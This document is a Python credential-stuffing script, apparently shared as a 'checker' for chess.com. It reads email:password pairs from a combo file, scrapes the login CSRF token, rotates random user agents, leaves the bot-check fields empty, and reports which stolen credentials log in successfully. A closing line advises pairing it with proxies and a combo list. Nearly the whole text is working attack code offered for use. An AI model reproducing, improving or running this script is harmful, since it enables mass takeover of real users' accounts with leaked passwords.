import requests
import re
from bs4 import BeautifulSoup
from fake_useragent import UserAgent
ua = UserAgent()
ss = requests. Session()
combo = input('cobmo file : ')
try:
with open(combo, 'r') as filename:
for file in filename:
email,password = file.strip().split(':')
url = "https://www.chess.com/login"
headers = {
'User-Agent': ua.random,
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
'Accept-Encoding': "gzip, deflate, br, zstd",
'cache-control': "max-age=0",
'upgrade-insecure-requests': "1",
'sec-fetch-site': "same-origin",
'sec-fetch-mode': "navigate",
'sec-fetch-user': "?1",
'sec-fetch-dest': "document",
'sec-ch-ua': "\"Chromium\";v=\"148\", \"Google Chrome\";v=\"148\", \"Not/A)Brand\";v=\"99\"",
'sec-ch-ua-mobile': "?1",
'sec-ch-ua-platform': "\"Android\"",
'referer': "https://www.chess.com/login_and_go?returnUrl=https://www.chess.com/",
'accept-language': "ar-IQ,ar;q=0.9,en-US;q=0.8,en;q=0.7",
'priority': "u=0, i"
}
response = ss.get(url, headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']
url = "https://www.chess.com/login_check"
payload = {
'_username': email,
'_password': password,
'_remember_me': "1",
'login': "",
'cf-turnstile-response': "",
'_target_path': "https://www.chess.com/",
'turnstile_token': "",
'_token': token
}
headers = {
'User-Agent': ua.random,
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
'Accept-Encoding': "gzip, deflate, br, zstd",
'cache-control': "max-age=0",
'sec-ch-ua': "\"Chromium\";v=\"148\", \"Google Chrome\";v=\"148\", \"Not/A)Brand\";v=\"99\"",
'sec-ch-ua-mobile': "?1",
'sec-ch-ua-platform': "\"Android\"",
'upgrade-insecure-requests': "1",
'origin': "https://www.chess.com",
'sec-fetch-site': "same-origin",
'sec-fetch-mode': "navigate",
'sec-fetch-user': "?1",
'sec-fetch-dest': "document",
'referer': "https://www.chess.com/login_and_go?returnUrl=https://www.chess.com/",
'accept-language': "ar-IQ,ar;q=0.9,en-US;q=0.8,en;q=0.7",
'priority': "u=0, i",
}
response = ss.post(url, data=payload, headers=headers)
if 'user-logged-in dark-mode' in response.text:
print(f'good login: {email}:{password} ')
else:
print(f'bad login: {email}:{password} ')
except FileNotFoundError:
print('no combo')
Checker on http://chess.com/ He needs a Proxy + combo